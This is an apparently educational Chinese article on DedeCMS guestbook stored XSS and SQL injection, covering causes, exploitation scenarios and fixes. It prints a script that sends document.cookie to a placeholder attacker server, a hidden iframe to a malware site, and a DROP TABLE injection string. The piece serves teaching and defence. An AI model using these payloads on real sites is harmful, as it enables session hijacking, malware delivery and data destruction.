这是一个非常经典且影响深远的漏洞系列,尤其是在 DedeCMS 5.x 及更早版本中非常普遍,理解这个漏洞对于理解 PHP Web 应用的安全至关重要。

DedeCMS Guestbook 漏洞的核心问题在于 “未经过滤的数据库写入”,具体表现为 “存储型 XSS (Stored Cross-Site Scripting)” 和 “SQL 注入 (SQL Injection)”。
攻击者可以向留言板提交包含恶意 JavaScript 代码或 SQL 语句的留言,由于 DedeCMS 后端没有对这些输入进行充分的过滤和转义,恶意代码或语句被成功存入数据库,当其他用户(包括管理员)访问或管理留言板页面时,浏览器会执行这些恶意代码,从而导致:
- Cookie 窃取:盗取管理员或用户的登录凭证,从而获得网站控制权。
- 会话劫持:控制用户的会话。
- 钓鱼攻击:在留言板页面植入钓鱼链接,诱骗用户输入敏感信息。
- 网页挂马:将访问者重定向到恶意网站,下载病毒。
- 数据库信息泄露:通过 SQL 注入直接获取数据库中的敏感数据。
漏洞成因分析
这个漏洞的根本原因在于 DedeCMS Guestbook 模块处理用户输入时的不规范,我们以最经典的 存储型 XSS 为例,分析其调用链:
- 用户输入:攻击者在留言表单中输入类似
<script>alert('XSS')</script>的内容。 - 数据提交:表单通过
POST请求提交给服务器,通常处理文件是/plus/guestbook.php。 - 数据处理:
guestbook.php文件接收到数据后,会调用一个函数(通常是或)来将数据插入到数据库的dede_guestbook表中。 - 漏洞核心:在插入数据库之前,DedeCMS 没有对用户输入的留言内容(
msg字段)进行 HTML 实体编码或严格的过滤,它只是简单地进行了去空格、去换行等基础处理,保留了原始的 HTML 标签。 - 数据存储:包含
<script>标签的恶意代码被原封不动地存入了数据库的msg字段。 - 数据展示:当其他用户访问留言板页面(
/plus/guestbook.php)或管理员进入后台管理留言时,PHP 从数据库中读取msg字段的内容,并将其直接输出到 HTML 页面上。 - 恶意代码执行:浏览器在渲染页面时,无法区分这是普通内容还是恶意脚本,于是会执行
<script>alert('XSS')</script>,导致弹窗,XSS 攻击成功。
SQL 注入的原理类似,攻击者提交的不是 <script> 标签,而是类似 '); DROP TABLE dede_guestbook; -- 这样的 SQL 语句,如果后端代码直接将用户输入拼接到 SQL 查询语句中,就会导致数据库结构被破坏或数据泄露。

漏洞利用场景
盗取管理员 Cookie (最常见)
攻击者可以在留言板中插入一段精心构造的 JavaScript 代码,
<script>
new Image().src="http://攻击者服务器/cookie.php?cookie="+document.cookie;
</script>
当管理员登录后台后,查看或审核留言时,这段代码会执行,将管理员的 Cookie 信息发送到攻击者指定的服务器,攻击者获取到 Cookie 后,就可以利用浏览器插件(如 EditThisCookie)伪造身份,直接登录网站后台。
挂马与传播病毒
攻击者可以插入 <iframe> 标签,将留言板页面嵌入一个恶意网站:
<iframe src="http://病毒网站/malware.html" width="0" height="0" style="display:none;"></iframe>
这样,所有访问该留言板页面的用户都会在后台静默访问病毒网站,可能导致用户电脑中毒。

后台Getshell (更高级)
如果留言板存在存储型 XSS,并且管理员后台的某个功能(如“系统基本参数”设置)存在 CSRF (跨站请求伪造) 漏洞,攻击者可以将两者结合,首先通过 XSS 留言向管理员发送一个链接,引诱管理员点击,管理员点击后,在已登录状态下访问恶意链接,攻击者就能利用 CSRF 修改后台配置,例如上传一个 PHP 网马,最终获得服务器的完全控制权(Getshell)。
如何修复与防范
如果你是网站管理员,请立即采取以下措施:
立即修复 (治标)
- 升级 DedeCMS:最根本的解决方法是升级到最新稳定版本,新版本已经修复了这些已知的旧漏洞。
- 手动修补文件:如果无法立即升级,可以手动修改
/plus/guestbook.php文件。- 找到处理留言内容
msg的代码段。 - 在存入数据库之前,使用
htmlspecialchars()函数对内容进行转义,将$msg存入数据库前,改为$msg = htmlspecialchars($msg, ENT_QUOTES);,这会将<转为<,>转为>, 转为", 转为',从而让浏览器将其视为普通文本而非 HTML 标签。
- 找到处理留言内容
长期加固 (治本)
- 代码层面:
- 输入验证与过滤:对所有用户输入(GET, POST, COOKIE)进行严格的验证,只允许预期的字符格式(留言只允许文字、空格和常用标点),使用白名单比黑名单更安全。
- 输出编码:在将数据输出到 HTML 页面之前,必须进行 HTML 实体编码(使用
htmlspecialchars),在输出到 JavaScript、XML 等不同上下文时,也要使用相应的编码函数。 - 使用参数化查询 (Prepared Statements):彻底杜绝 SQL 注入,现代 PHP 框架(如 Laravel, Symfony)都已内置此功能,即使使用原生 MySQLi 或 PDO,也应坚持使用。
- 服务器层面:
- 开启 PHP 安全模式:在
php.ini中设置open_basedir和safe_mode,限制 PHP 脚本的执行范围。 - 安装 Web 应用防火墙 (WAF):ModSecurity,可以拦截已知的攻击特征,如 SQL 注入、XSS 攻击尝试等,为网站提供额外一层保护。
- 最小权限原则:运行网站所用的数据库用户和 FTP 用户,只给予其完成任务所必需的最小权限,数据库用户不应有
DROP或DELETE等高危权限。
- 开启 PHP 安全模式:在
- 运维层面:
- 定期备份:定期备份网站文件和数据库,以便在网站被入侵后能快速恢复。
- 关注安全公告:关注 DedeCMS 官方或安全社区发布的安全漏洞预警,及时打补丁。
DedeCMS Guestbook 漏洞是一个典型的“输入-输出”安全问题,它揭示了 Web 安全中一个核心原则:永远不能信任用户的输入,并且在输出到任何地方(尤其是浏览器)时都必须进行适当的转义。
虽然现在 DedeCMS 的新版本已经修复了这些问题,但大量老旧的网站仍在使用有漏洞的旧版本,使得这个漏洞至今仍有现实意义,对于开发者而言,这个案例是一个深刻的教训,提醒我们在编码时必须将安全放在首位。
